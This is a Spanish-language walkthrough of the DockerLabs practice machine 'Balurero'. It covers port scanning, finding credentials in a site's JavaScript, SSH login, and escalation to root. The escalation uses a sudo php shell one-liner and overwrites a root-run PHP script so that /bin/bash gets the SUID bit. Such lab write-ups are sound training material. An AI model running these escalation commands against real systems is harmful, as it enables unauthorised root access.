> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/balurero.md).

# Balurero

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Fácil  📅 Fecha de creación: 28/09/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA2lFv9HPAUh2xKFegWaO%2Fimage.png?alt=media&amp;token=b15140c3-dc0f-4ba3-a8cf-a03ea44adea6" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpC9vOMp1jl2GZ4jtOfYy%2Fimage.png?alt=media&amp;token=b3e2cff5-703d-4552-a2dd-662bce0de63d" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página sobre Balú el perro de Mario.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHzuIxHxm0TXFONrSvd5r%2Fimage.png?alt=media&amp;token=7bf0ede2-81fa-4d73-8b53-ab1a325635ae" alt=""><figcaption></figcaption></figure>

Revisando el código fuente y todos sus archivos encontramos en el `script.js` un mensaje que nos llama la atención.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqoTOUM7PLERi2xYmuehs%2Fimage.png?alt=media&amp;token=cd27d7d9-e7f3-4e0f-bc72-68a4acb17b3a" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Entramos a través del navegador a ese directorio.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfxOXXJhN9p6g84pCuwtm%2Fimage.png?alt=media&amp;token=81028223-b826-4fe1-bb37-8a2d0ff7a235" alt=""><figcaption></figcaption></figure>

Tras encontrar sus credenciales nos logueamosa tavés de **SSH**.

```bash
ssh balu@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnHqbiZhffKQ4JpRZuOrV%2Fimage.png?alt=media&amp;token=2450ef67-a629-40dd-9ab8-7ed258523c1e" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuRmqT910tyWQOKfxm7Qp%2Fimage.png?alt=media&amp;token=ceedb0d8-b98b-418e-9ef3-b8a3960996bf" alt=""><figcaption></figcaption></figure>

Nos llama la atención **php** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/php/)cómo explotarlo.

```bash
sudo -u chocolate php -r "system('/bin/bash');"
```

Somos el usuario **chocolate** pero no tenemos permisos **SUDO**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtQVK3QBxuG8USjfaRzkq%2Fimage.png?alt=media&amp;token=889b38cc-256a-4043-9884-0f04e8bd6c2a" alt=""><figcaption></figcaption></figure>

Revisando los directorios encontramos un archivo llamado `script.php` por lo que miramos si se puede modificar para obtener una **shell**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIc0ItKMs0msg2zvEZE1D%2Fimage.png?alt=media&amp;token=4f81439b-347a-4669-ab87-deb1b785777f" alt=""><figcaption></figcaption></figure>

```bash
echo -e "<?php\n\tsystem('chmod u+s /bin/bash');\n?>" > /opt/script.php
bash -p
```

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZtcR5XsTNRwzDNEPOvrc%2Fimage.png?alt=media&amp;token=e5e0b9d2-f757-4e45-b420-5066e47c80a5" alt=""><figcaption></figcaption></figure>
